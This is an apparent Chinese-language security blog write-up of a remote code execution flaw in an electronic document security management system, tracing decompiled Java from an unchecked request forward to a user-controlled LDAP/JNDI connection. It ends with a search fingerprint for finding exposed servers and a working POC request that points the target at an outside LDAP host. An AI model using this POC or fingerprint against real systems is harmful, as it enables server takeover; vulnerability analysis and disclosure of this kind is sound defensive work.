某通新一代电子文档安全管理系统 远程代码执行漏洞(XVE-2024-8758)

某通新一代电子文档安全管理系统 远程代码执行漏洞

某通新一代电子文档安全管理系统 远程代码执行漏洞

一、漏洞简介

某通新一代电子文档安全管理系统(简称:CDG)是一款融合文档加密、数据分类分级、访问控制、关联分析、大数据分析、智能识别等核心技术的综合性数据智能安全产品。某通新一代电子文档安全管理系统存在远程代码执行漏洞,攻击者可利用该漏洞获取服务器权限。

二、影响版本

version<V5.6.3.152.179_116511

三、漏洞分析原理

进入到WEB-INFweb.xml全局搜索loginController

image-20240816113056250

ctrl点击进入到com.org.acl.controller.LoginController

image-20240816113211677

发现该类没有直接继承HttpServlet类,这就说明他是一个间接与前端交互的类。直接ctrl进入LoginController类的继承类WebController

该类是直接继承了HttpServlet类,我们直接看与前端的交互的service方法,该方法使用了protect修饰

image-20240816113521884

分析

    protected void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {  
        Object\[\] actionParams \= new Object\[\]{request, response};  
        //接受前端传来的command和fromurl参数  
        String actionName \= request.getParameter("command");  
        String fromurl \= request.getParameter("fromurl");  
        if (this.isRepeat(request) && fromurl != null && !"".equals(fromurl)) {  
            //若请求不重复和fromurl不为空就根据fromurl进行重定向  
            request.getRequestDispatcher(fromurl).forward(request, response);  
        } else if (actionParams != null && actionName != null && !"".equals(actionName) && !"null".equals(actionName)) {  
            //从会话中获取LoginMng对象  
            LoginMng loginMng \= (LoginMng)request.getSession().getAttribute("loginMng");  
            //获取客户端请求的URI。  
            String clienturl \= request.getRequestURI();  
            if (clienturl != null && (clienturl.indexOf("login") != \-1 || clienturl.indexOf("SystemConfig") != \-1) || loginMng != null && loginMng.isLogin()) {  
                try {  
                    //通过反射获取当前类中以"action"为前缀加上动作名称的方法  
                    Method actionFunc \= this.getClass().getDeclaredMethod("action" + actionName, SERVICE\_PARAMS);  
                    actionFunc.setAccessible(true);  
                    //通过反射调用获取到的方法,传入当前对象和动作参数。  
                    actionFunc.invoke(this, actionParams);  
                } catch (NoSuchMethodException var9) {  
                    NoSuchMethodException ex \= var9;  
                    ex.printStackTrace();  
                    this.showMessagePage(request, response, "Error", "Undefined action: " + actionName + ".<br>" + ex.toString());  
                } catch (InvocationTargetException var10) {  
                    InvocationTargetException ex \= var10;  
                    ex.printStackTrace();  
                    this.showMessagePage(request, response, "Exception in action", ex.getTargetException().toString());  
                } catch (Exception var11) {  
                    Exception ex \= var11;  
                    ex.printStackTrace();  
                    this.showMessagePage(request, response, "Exception", ex.toString());  
                }  
​  
            } else {  
                response.sendRedirect(request.getContextPath() + "/loginExpire.jsp");  
            }  
        } else {  
            this.showMessagePage(request, response, "Error", "Invalid URL: Action not specified");  
        }  
    }

上述代码中先是接受前端传来的command和fromurl参数,若通过if语句就直接根据fromurl重定向;若没有进入到if语句中,就判断actionParams、 actionName是否为空,若不为空就从会话中获取LoginMng对象以及客户端请求的URI,之后利用反射调用相关方法

在这里我们利用类其重定向的原理

我们进入到LdapAjax类中,与前面就进入到loginController类中的方法一致都是在web.xml中全局搜索。在这里就不做演示了直接进入到该类中。该类也是继承了HttpServlet类,我们直接看与前端交互的方法即doPost方法,该方法表明需要Post传参

image-20240816150325200

    public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {  
        //获取从前端传入的command参数  
        String command \= request.getParameter("command");  
        //获取session   
        HttpSession session \= request.getSession();  
        if (session != null && "testConnection".equalsIgnoreCase(command)) {  
            //若session不为空以及command值为testConnection,就进入这个连接服务  
            this.testConnection(request, response);  
        }  
    }

接下来就进入这个testConnection方法,它处理HTTP请求并尝试连接到Active Directory(AD)服务

    private void testConnection(HttpServletRequest request, HttpServletResponse response) throws IOException {  
        response.setCharacterEncoding("gbk");//设置编码  
        response.setContentType("text/html;charset=gbk");//设置响应的MIME类型  
        HttpSession session \= request.getSession();//获取session   
        ReadProperties rp \= null;  
        if (session != null) {  
            rp \= (ReadProperties)session.getAttribute("rp");//如果存在则从会话中获取ReadProperties对象  
        } else {  
            rp \= ReadProperties.getInstance("zh");//实例化一个ReadProperties对象  
        }  
​  
        PrintWriter out \= response.getWriter();//创建一个用于向客户端发送文本数据的PrintWriter对象。  
        //依次获取从前端传入的hosts、users、type参数  
        String\[\] hosts \= this.getHosts(request.getParameter("hosts"));  
        String\[\] users \= this.getValues(request.getParameter("users"));  
        String type \= request.getParameter("type");  
        String pwdString \= "";  
​  
        try {  
            pwdString \= CDGUtil.decode(request.getParameter("pwds"));//获取前端传入的pwds参数并对其进行解码操作  
        } catch (Exception var17) {  
            Exception e \= var17;  
            e.printStackTrace();  
        }  
        String\[\] pwds \= this.getValues(pwdString);//将 pwdString的值赋值给pwds数组中  
        //依次获取从前端传入的dns、dns2参数  
        String\[\] dns \= this.getValues(request.getParameter("dns"));  
        String\[\] dns2 \= this.getValue(request.getParameter("dns2"));  
        String\[\]\[\] temp \= new String\[dns2.length\]\[\];//根据dns2的长度创建一个temp的二位数组  
        this.getValue(request.getParameter("CobraDG.AD.StandbySetting"));  
​  
        for(int i \= 0; i < temp.length; ++i) {  
            //循环填充temp数组  
            temp\[i\] \= this.getValues(dns2\[i\]);  
        }  
​  
        boolean flag \= this.matchMultiDir(hosts, users, pwds, dns, dns2);//调用方法检查是否匹配多目录。  
        if (flag) {  
            for(int i \= 0; i < hosts.length; ++i) {  
                //它遍历一个名为hosts的字符串数组,并对于数组中的每一个元素,调用this.connect方法  
                this.connect(hosts\[i\], Constant.instance.getDecodeString(pwds\[i\], Constant.instance.AD\_ADMINPASSWORD), dns\[i\], this.makeDN(temp, 0), type, rp);  
            }  
        } else {  
            this.prompt.append(rp.getString("config.ADypzywt"));  
        }  
​  
        out.println(this.prompt);//将提示信息输出到客户端。  
        this.prompt.delete(0, this.prompt.capacity());//清除prompt缓冲区的内容。  
        out.flush();//清空输出流,确保所有数据都已发送。  
        out.close();//关闭  
    }

接着我们进入connect方法中

image-20240816153758424

分析:

 public String connect(String host, String passwd, String dn, String\[\] dnes, String type, ReadProperties rp) {  
        Hashtable<String, String\> env \= new Hashtable();  
        DirContext dctx \= null;// 声明一个DirContext类型的变量dctx,用于存放LDAP目录上下文,初始化为null。  
     //设置LDAP环境属性,包括LDAP上下文工厂、提供者URL、认证方式、主体(DN,Distinguished Name)和凭证(密码)。  
        env.put("java.naming.factory.initial", "com.sun.jndi.ldap.LdapCtxFactory");  
        env.put("java.naming.provider.url", host.trim());  
        env.put("java.naming.security.authentication", "simple");  
        env.put("java.naming.security.principal", dn.trim());  
        env.put("java.naming.security.credentials", passwd);  
​  
        String var10;  
        try {  
            log.info(this.prompt.toString());//日志记录  
            dctx \= new InitialDirContext(env);//使用环境属性创建InitialDirContext实例,尝试建立LDAP连接。  
            dctx.lookup(host);//执行LDAP查找操作,验证连接是否成功。  
            log.info(this.prompt.toString());//日志记录  
            this.prompt.append(host + rp.getString("config.ykljzc"));  
            String\[\] arr$ \= dnes;  
            int len$ \= dnes.length;  
​  
            for(int i$ \= 0; i$ < len$; ++i$) {  
                String temp \= arr$\[i$\];  
                if (!"undefined".equalsIgnoreCase(temp)) {  
                    //若temp不是undefined,遍历dnes数组,对每个有效的DNS条目执行操作  
                    ////转小写  
                    String dnlowerCase \= dn.toLowerCase();  
                    String templowerCase \= temp.toLowerCase();  
        //若根据参数的不同要求就进行getAllFieldInfo操作  
                    if (type != null && "0".equals(type) && dnlowerCase != null && dnlowerCase.indexOf("dc=") != \-1 && templowerCase.indexOf("dc=") != \-1) {  
                        this.getAllFieldInfo(dctx, temp, rp);  
                    } else if (type != null && "4".equals(type) && dnlowerCase != null && dnlowerCase.indexOf("o=") != \-1 && templowerCase.indexOf("o=") != \-1) {  
                         
                        this.getAllFieldInfo(dctx, temp, rp);  
                    } else {  
                        System.out.println("-----ADORNovell---" + type + "-----------节点dn:" + dnlowerCase + ",不需要验证节点:" + templowerCase);  
                    }  
                }  
            }  
​  
            this.prompt.append("\\r\\n");//向prompt缓冲区追加信息。  
            String var26 \= this.prompt.toString();  
            return var26;// 返回最终的提示信息字符串。  
        } catch (Exception var23) {  
            Exception e \= var23;  
            this.prompt.append(host + rp.getString("config.ykljsb"));  
            this.getMessage(e.getMessage(), rp);  
            this.prompt.append("\\r\\n");  
            var10 \= this.prompt.toString();  
        } finally {  
            try {  
                if (dctx != null) {  
                    dctx.close();  
                }  
            } catch (Exception var22) {  
                Exception e \= var22;  
                e.printStackTrace();  
            }  
​  
        }  
​  
        return var10;  
    }

该方法用于尝试通过LDAP(轻量级目录访问协议)连接到Active Directory(AD)。在执行过程中使用了getAllFieldInfo方法用来使用LDAP(轻量级目录访问协议)在Active Directory(AD)中检索特定DN(Distinguished Name)的所有字段信息(类似于数据查询操作)。

接下来我们进入到getAllFieldInfo方法中

image-20240816155511523

分析

由于代码过长对异常处理进行了省略

    private StringBuffer getAllFieldInfo(DirContext dctx, String dn, ReadProperties rp) {  
        String matchingAttributes \= "distinguishedName=\*";//初始化一个字符串变量matchingAttributes,用于定义LDAP搜索的匹配属性。  
        int flag \= Integer.parseInt(Constant.instance.AD\_STRUCTURE);//从某个常量类Constant的实例中获取一个整数值,这个值决定了将要使用的匹配属性。  
        switch (flag) {// 根据flag的值,选择不同的匹配属性。  
            case 2:  
                matchingAttributes \= "objectClass=\*";  
            case 0:  
            case 1:  
            case 3:  
            case 4:  
            default:  
                if (flag \== 3) {  
                    //若flag为3  
                    matchingAttributes \= "objectClass=groupOfNames";  
                    String\[\] returnAttrs \= new String\[\]{"docuniqueid", "cn", "member", "\*"};  
                    SearchControls searchControls \= new SearchControls();  
                    searchControls.setSearchScope(2);// 设置搜索范围为子树搜索  
                    searchControls.setReturningAttributes(returnAttrs);//设置返回的属性列表  
                    searchControls.setCountLimit(LdapUtil.getLdapLimitAmount());// 设置搜索结果的数量限制  
​  
                    try {  
                        //执行LDAP搜索,返回搜索结果的枚举。  
                        NamingEnumeration enumResults \= dctx.search(dn, matchingAttributes, searchControls);  
                        Vector<SearchResult\> vector \= new Vector();//创建一个Vector对象  
                        if (enumResults.hasMoreElements()) {  
                            //若enumResults.hasMoreElements()不为空,使用vector来存储搜索结果。  
                            SearchResult sr \= (SearchResult)enumResults.next();  
                            vector.add(sr);  
                            this.prompt.append("\\"" + dn + rp.getString("config.ljzc") + "\\"");  
                            return this.prompt;//返回内容  
                        }  
                    } catch (NamingException var13) {  
                       ......  
                    }  
                }  
        //flag不为3  
                SearchControls searchControls \= new SearchControls();//创建SearchControl对象  
                searchControls.setSearchScope(0);//设置搜索范围为子树搜索为0  
​  
                NamingEnumeration enumResults;  
                try {  
                    enumResults \= dctx.search(dn, matchingAttributes, searchControls);//执行LDAP搜索  
                } catch (NamingException var12) {  
                    .....  
                }  
​  
                try {  
                    enumResults.close();  
                } catch (Exception var11) {  
                   .....  
                }  
​  
                return this.prompt;//返回内容  
        }  
    }

这就是一个根据flag的值的不同执行LDAP搜索的操作。在这里如果flag为3就会将我们的搜索范围扩大并且搜索结果存储起来,我们发现这个flag的值是由常量Constant.instance.AD_STRUCTURE控制的。经过一番搜索在common.cfg.xml找到了该值

image-20240816161951933

四、资产测绘

body="/CDGServer3/index.jsp"

图片.png

POC


POST /CDGServer3/logincontroller HTTP/1.1

Host:

Content-Type: application/x-www-form-urlencoded

Connection: close

fromurl=/LdapAjax&token=1&command=testConnection&hosts=ldap://192.16

8.10.1:1379/CN=account,OU=exp,DC=exp,DC=com&users=account&dns=CN=

account,OU=exp,DC=exp,DC=com&dns2=OU=exp,DC=exp,DC=com&type=0&

pwds=123456

漏洞复现

图片.png

五、总结

漏洞造成的原因就是因为loginController继承了WebController而在WebController中允许我们重定向,并且重定向的参数是用户可以控制的。在LdapAjax类中我们可以执行LDAP搜索的得到结果并且相关参数我们可以控制进而操作了远程代码执行漏洞,获取到服务器的相关权限

  • 发表于 2024-08-29 10:00:02
  • 阅读 ( 6515 )
  • 分类:Web服务器

0 条评论

请先 登录 后评论
xhys
xhys

12 篇文章

站长统计